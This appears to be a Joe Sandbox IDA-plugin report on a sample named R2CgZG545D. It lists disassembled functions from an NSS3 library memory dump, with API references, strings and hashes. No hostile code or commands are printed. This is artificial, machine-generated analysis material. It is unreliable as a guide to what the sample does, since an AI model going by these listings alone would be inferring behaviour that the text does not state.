Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 158ba81fef44887c13b815ff136ab28ea7aae1b2ae59781912d0157876ea38fc
Instruction ID: bb8a6dd601f13d8b7c9a9c743b365f34c35ea0463aa9b18f47f262fafe685e2e
Opcode Fuzzy Hash: 158ba81fef44887c13b815ff136ab28ea7aae1b2ae59781912d0157876ea38fc
Instruction Fuzzy Hash: AB71AF75D182469FDB00CF19CD40BAABBA5FF95349F154229E808D7B11F730EA94CB98

Function 6C650FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C651057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651085
PK11_GetAllTokens.NSS3 ref: 6C6510B1
free.MOZGLUE(?), ref: 6C651107
PR_SetError.NSS3(00000000,00000000), ref: 6C651172
free.MOZGLUE(?), ref: 6C651182
free.MOZGLUE(?), ref: 6C6511A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6511C5

Part of subcall function 6C6552C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C62EAC5,00000001), ref: 6C6552DF
Part of subcall function 6C6552C0: EnterCriticalSection.KERNEL32(?), ref: 6C6552F3
Part of subcall function 6C6552C0: PR_Unlock.NSS3(?), ref: 6C655358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6511D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6511F3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d4431d9060a009a73eef88d3fbf5871d88cd5ccb1adffbe6da95ee1b1526b375
Instruction ID: 45973fdf4e279b69c800d5c90f2efd85075263e83cfcb5dc19c6fccb1140b67c
Opcode Fuzzy Hash: d4431d9060a009a73eef88d3fbf5871d88cd5ccb1adffbe6da95ee1b1526b375
Instruction Fuzzy Hash: E661D5B0E003459BEB10DF64DC81BAEB7B4BF05348F644168EC19AB741EB31E964CB69

Function 6C65ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE10
EnterCriticalSection.KERNEL32(?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C63D079,00000000,00000001), ref: 6C65AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AE7F
TlsGetValue.KERNEL32(?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AEF1
free.MOZGLUE(6C63CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63CDBB,?), ref: 6C65AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C63CDBB,?,6C63D079,00000000,00000001), ref: 6C65AF30

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: cba9915794a288185ca1068766c1d7015e9b5fc104eccb993219707f605f9e14
Instruction ID: 77de971ed8a70701924f4b31a110121f6faf69fe293f2608bbc41a3bec0666e1
Opcode Fuzzy Hash: cba9915794a288185ca1068766c1d7015e9b5fc104eccb993219707f605f9e14
Instruction Fuzzy Hash: 20519FB1A00602AFDB01DF25D884B66B7B4FF09319F644665E80897F12E731E8B5CBE5

Function 6C634CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C63AB7F,?,00000000,?), ref: 6C634CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C63AB7F,?,00000000,?), ref: 6C634CC8
TlsGetValue.KERNEL32(?,6C63AB7F,?,00000000,?), ref: 6C634CE0
EnterCriticalSection.KERNEL32(?,?,6C63AB7F,?,00000000,?), ref: 6C634CF4
PL_HashTableLookup.NSS3(?,?,?,6C63AB7F,?,00000000,?), ref: 6C634D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C634D10

Part of subcall function 6C6BDD70: TlsGetValue.KERNEL32 ref: 6C6BDD8C
Part of subcall function 6C6BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6BDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C634D26

Part of subcall function 6C6D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DC6
Part of subcall function 6C6D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C720A27), ref: 6C6D9DD1
Part of subcall function 6C6D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6D9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C634D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C634DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C634E02

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 1c760bf06e836af990d0eb23f58effdc75f875dee90f2e7a06b1b022a70cdf2b
Instruction ID: 621392a63f5291c66d2ab203debe04919d6b6ae2a3a6b477047c7c21033d2a30
Opcode Fuzzy Hash: 1c760bf06e836af990d0eb23f58effdc75f875dee90f2e7a06b1b022a70cdf2b
Instruction Fuzzy Hash: EF41B7B5A00215ABEB015F24EC40976BBF8EF4635DF045170EC0C97B11EB76D924CBA9

Function 6C61BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C61BFFB

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C61C015

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C61C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C61C04D

Part of subcall function 6C6669E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C666A47
Part of subcall function 6C6669E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C666A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C61C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C61C07B

Part of subcall function 6C618980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C617310), ref: 6C6189B8
Part of subcall function 6C618980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C617310), ref: 6C6189E6
Part of subcall function 6C618980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C618A00
Part of subcall function 6C618980: CERT_CopyRDN.NSS3(00000004,00000000,6C617310,?,?,00000004,?), ref: 6C618A1B
Part of subcall function 6C618980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C618A74

Part of subcall function 6C611D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C61C097,00000000,000000B0,?), ref: 6C611D2C
Part of subcall function 6C611D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C61C09B,00000000,00000000,00000000,?,6C61C097,00000000,000000B0,?), ref: 6C611D3F
Part of subcall function 6C611D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C61C087,00000000,000000B0,?), ref: 6C611D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C61C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C61C0C9

Part of subcall function 6C622DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C61C0D2,6C61C0CE,00000000,-000000D4,?), ref: 6C622DF5
Part of subcall function 6C622DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C61C0CE,00000000,-000000D4,?), ref: 6C622E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C61C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61C0E3

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 337676d1325bf96c82ac50490f36a4c3a11d16a90c0a0101adce5a5307be4481
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 492195B26441053BFB005A69AC81FFB326C9B4275EF080134FD05D9E46FB27D51886BE

Function 6C612E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C612CDA,?,00000000), ref: 6C612E1E

Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C619003,?), ref: 6C66FD91
Part of subcall function 6C66FD80: PORT_Alloc_Util.NSS3(A4686C67,?), ref: 6C66FDA2
Part of subcall function 6C66FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C67,?,?), ref: 6C66FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C612E33

Part of subcall function 6C66FD80: free.MOZGLUE(00000000,?,?), ref: 6C66FDD1

TlsGetValue.KERNEL32 ref: 6C612E4E
EnterCriticalSection.KERNEL32(?), ref: 6C612E5E
PL_HashTableLookup.NSS3(?), ref: 6C612E71
PL_HashTableRemove.NSS3(?), ref: 6C612E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C612E96
PR_Unlock.NSS3 ref: 6C612EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C612EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C612EC5

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 92cbb550ca5eba85c2318916d7c4f9453d6611c98be895bfbba6a98e691d3bf7
Instruction ID: 93050fb3acd0319c15c0b9872b80a4844f6284333371b9ff1e640edddb9ee8d5
Opcode Fuzzy Hash: 92cbb550ca5eba85c2318916d7c4f9453d6611c98be895bfbba6a98e691d3bf7
Instruction Fuzzy Hash: F4210772A04104A7EF012B29DC4DADA3B75DB8334EF040030ED2896B11FB32D569D7BA

Function 6C5FFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5FFD18
sqlite3_initialize.NSS3 ref: 6C5FFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5FFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C5FFD99
sqlite3_free.NSS3(00000000), ref: 6C5FFE3C
sqlite3_free.NSS3(?), ref: 6C5FFEE3
sqlite3_free.NSS3(?), ref: 6C5FFEEE

Strings

simple, xrefs: 6C5FFC79

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 0b585bdd66d239a991a5859e19f2a6792af6cd4414433c7de9f4c1d381b092ff
Instruction ID: 50f7597460887dd47d6086f2e884fd3da16eb885552ea53f9f46535049bfe192
Opcode Fuzzy Hash: 0b585bdd66d239a991a5859e19f2a6792af6cd4414433c7de9f4c1d381b092ff
Instruction Fuzzy Hash: 889150B0A012059FDB08CF55CD84AAAB7F1FF85318F248668D9299BB52D735EC42CF60

Function 6C605CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C605EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C605EED

Strings

misuse, xrefs: 6C605EDB
%s at line %d of [%.10s], xrefs: 6C605EE0
invalid, xrefs: 6C605EBE
API call with %s database connection pointer, xrefs: 6C605EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C605ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C605E64

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: f9ac9f09116f7ccb20354387e5e889b99cefde160fcbee0dffa51b3ce612ae88
Instruction ID: d9bc18df43d6288b1a774a7024f1d32906277f381f81fa12947e9cda26a4e52f
Opcode Fuzzy Hash: f9ac9f09116f7ccb20354387e5e889b99cefde160fcbee0dffa51b3ce612ae88
Instruction Fuzzy Hash: AD81B230B056119BEB1DCF15CA48BAAB7B1BF4130CF28426AD8556BB91D734EC42CB9D

Function 6C5EDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5EDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5EDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5EDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5EDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5EDF78

Strings

%s at line %d of [%.10s], xrefs: 6C5EDE61, 6C5EDE90
database corruption, xrefs: 6C5EDE5C, 6C5EDE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5EDE52, 6C5EDE81

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 6a073a7317eed0bfe5df8304d2b892aedef5a879fd8a616adf28c81426802a19
Instruction ID: 2ef5a88d09bdd816a2f0d2bd9915ddf6910c615a5e8286a3c133bbeb1010d6dc
Opcode Fuzzy Hash: 6a073a7317eed0bfe5df8304d2b892aedef5a879fd8a616adf28c81426802a19
Instruction Fuzzy Hash: 7081B071604700AFD714CF25CD84B6A77F1BFC9308F14886DE89A8BA91EB35E945CB92

Function 6C59CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C59B999), ref: 6C59CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C59B999), ref: 6C59D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C59B999), ref: 6C59D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C59B999), ref: 6C6E972B

Strings

%s at line %d of [%.10s], xrefs: 6C59CFEC, 6C59D018, 6C59D029, 6C59D03F, 6C6E978B
database corruption, xrefs: 6C59CFE7, 6C59D013, 6C59D028, 6C59D039, 6C59D03E, 6C6E9786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C59CFDD, 6C59D00E, 6C59D022, 6C59D033, 6C6E9780

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 763106cd67929e32f5c458c3c71bc3766cd964739745367da7829301af36bbd3
Instruction ID: c349125948b6ff68fea148c8ccc23fbe53f4ca45b8db0f90a6bcd9423143e67a
Opcode Fuzzy Hash: 763106cd67929e32f5c458c3c71bc3766cd964739745367da7829301af36bbd3
Instruction Fuzzy Hash: 85615C71A042508BD710CF29CC40BA6B7F5EF95318F2885AEE4459FB42E376E947C7A1

Function 6C69FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6A0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6A015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6A01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6A0202
free.MOZGLUE(?), ref: 6C6A0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A0253

Strings

exporter, xrefs: 6C6A00F7

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 5ed09bd140c77246b0b88d2da0625babcc35f0f8cb7e4ae872b0dcf150af3fca
Instruction ID: 6b242445c499ac0f19693e29ff0317b86ab0c931048dd64e35f66e4a18810e69
Opcode Fuzzy Hash: 5ed09bd140c77246b0b88d2da0625babcc35f0f8cb7e4ae872b0dcf150af3fca
Instruction Fuzzy Hash: D361F1B1900789ABEB118FE4CC00BEA77B6FF8930CF144128E91A56661EB319D56C759

Function 6C674DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C67536F,00000022,?,?,00000000,?), ref: 6C674E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C674F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C674F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C674FAE
free.MOZGLUE(?), ref: 6C674FC8

Strings

oSgl", xrefs: 6C674DFB, 6C674EF4, 6C674EC5
%s=%s, xrefs: 6C674F89
%s=%c%s%c, xrefs: 6C674FA9

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
